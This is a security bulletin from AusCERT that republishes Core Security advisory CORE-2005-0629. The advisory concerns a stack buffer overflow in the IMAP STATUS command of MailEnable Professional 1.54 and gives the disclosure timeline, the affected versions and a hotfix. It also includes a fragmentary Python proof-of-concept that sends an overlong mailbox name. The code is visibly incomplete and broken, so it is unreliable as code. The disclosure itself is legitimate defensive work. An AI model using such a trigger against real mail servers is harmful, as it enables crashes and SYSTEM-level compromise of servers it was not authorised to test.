Hash: SHA1

             AUSCERT External Security Bulletin Redistribution

    ESB-2005.0542 -- Core Security Technologies Advisory CORE-2005-0629
                 MailEnable Buffer Overflow Vulnerability
                               14 July 2005


        AusCERT Security Bulletin Summary

Product:           MailEnable
Publisher:         Core Security Technologies
Operating System:  Windows
Impact:            Administrator Compromise
Access:            Existing Account

Original Bulletin:

- --------------------------BEGIN INCLUDED TEXT--------------------

              Core Security Technologies - Corelabs Advisory

                 MailEnable Buffer Overflow Vulnerability

Date Published: 2005-07-12

Last Update: 2005-07-12

Advisory ID: CORE-2005-0629

Bugtraq ID: None currently assigned

CVE Name: None currently assigned

Title: MailEnable Buffer Overflow Vulnerability

Class: Boundary Error Condition (Stack Buffer Overflow)

Remotely Exploitable: Yes

Locally Exploitable: Yes

Advisory URL:

Vendors contacted:
- - MailEnable
  2005-06-30: Notification to vendor.
  2005-06-30: Vendor acknowledged notification and provided a fix.


*Vulnerability Description:*

 MailEnable is a mail server software which provides a messaging
 platform for Microsoft Windows. For more information about
 MailEnable see  http://www.mailenable.com/

 A buffer overflow vulnerability was found in the status command.
 Remote exploitation of this vulnerability could allow an attacker
 to execute arbitrary code with System privileges. The status command
 requires an authenticated session, so valid credentials are required.

*Vulnerable Packages:*

 MailEnable Professional edition version 1.54

 Tested on:
 . Windows 2000 sp0
 . Windows 2000 sp2
 . Windows XP sp0

*Solution/Vendor Information/Workaround:*

 This issue was addressed by the last hotfix for MailEnable (dated
 30th May 2005). The hotfix can be downloaded from:


 This vulnerability was found by Ariel Sanchez from Core Security

 We wish to thank Peter Fregon from MailEnable for his quick response
 to this issue.

*Technical Description - Exploit/Concept Code:*

 This vulnerability was found in the Imapd daemon service of MailEnable
 Professional edition version 1.54.  
 The vulnerability can be triggered by giving a long mailbox name
 argument to the status command. This will cause a stack based buffer
 overflow, containing null bytes (\x00).

 The following is a Python proof-of-concept code that will trigger the

- ----------------------------------------------------------------------
# POC about imapd mailenable bug in status command

import sys
import imaplib

class poc:

    def __init__(self,host,loginimap,passimap):

    def exploit(self):
        print "Please wait"
        connect = imaplib.IMAP4(self.host)
            typ, data = connect.status(nops,'(UIDNEXT UIDVALIDITY 
        except Exception,e:
            print "Service down!"
        return 0    

if(len(sys.argv) < 4):
    print "Need 3 arguments, ./poc.py host user pass"

- ----------------------------------------------------------------------

*About Corelabs*

 CoreLabs, the research center of Core Security Technologies, is charged
 with anticipating the future needs and requirements for information
 security technologies.
 We conduct our research in several important areas of computer security
 including system vulnerabilities, cyber attack planning and simulation,
 source code auditing, and cryptography. Our results include problem
 formalization, identification of vulnerabilities, novel solutions and
 prototypes for new technologies. CoreLabs regularly publishes security
 advisories, technical papers, project information and shared software
 tools for public use at:

*About Core Security Technologies*

 Core Security Technologies develops strategic security solutions for
 Fortune 1000 corporations, government agencies and military
 organizations. The company offers information security software and
 services designed to assess risk and protect and manage information
 assets. Headquartered in Boston, MA, Core Security Technologies can
 be reached at 617-399-6980 or on the Web at:

 To learn more about CORE IMPACT, the first comprehensive penetration
 testing product, visit:


 The contents of this advisory are copyright (c) 2005 CORE Security
 Technologies and (c) 2005 Corelabs, and may be distributed freely
 provided that no fee is charged for this distribution and proper
 credit is given.

$Id: MailEnable-advisory.txt,v 1.9 2005/07/12 22:04:23 carlos Exp $

- --------------------------END INCLUDED TEXT--------------------

You have received this e-mail bulletin as a result of your organisation's
registration with AusCERT. The mailing list you are subscribed to is
maintained within your organisation, so if you do not wish to continue
receiving these bulletins you should contact your local IT manager. If
you do not know who that is, please send an email to auscert@auscert.org.au
and we will forward your request to the appropriate person.

NOTE: Third Party Rights
This security bulletin is provided as a service to AusCERT's members.  As
AusCERT did not write the document quoted above, AusCERT has had no control
over its content. The decision to follow or act on information or advice
contained in this security bulletin is the responsibility of each user or
organisation, and should be considered in accordance with your organisation's
site policies and procedures. AusCERT takes no responsibility for consequences
which may arise from following or acting on information or advice contained in
this security bulletin.

NOTE: This is only the original release of the security bulletin.  It may
not be updated when updates to the original are made.  If downloading at
a later date, it is recommended that the bulletin is retrieved directly
from the author's website to ensure that the information is still current.

Contact information for the authors of the original document is included
in the Security Bulletin above.  If you have any questions or need further
information, please contact them directly.

Previous advisories and external security bulletins can be retrieved from:


If you believe that your computer system has been compromised or attacked in 
any way, we encourage you to let us know by completing the secure National IT 
Incident Reporting Form at:


Australian Computer Emergency Response Team
The University of Queensland
Qld 4072

Internet Email: auscert@auscert.org.au
Facsimile:      (07) 3365 7031
Telephone:      (07) 3365 4417 (International: +61 7 3365 4417)
                AusCERT personnel answer during Queensland business hours
                which are GMT+10:00 (AEST).
                On call after hours for member emergencies only.

Comment: http://www.auscert.org.au/render.html?it=1967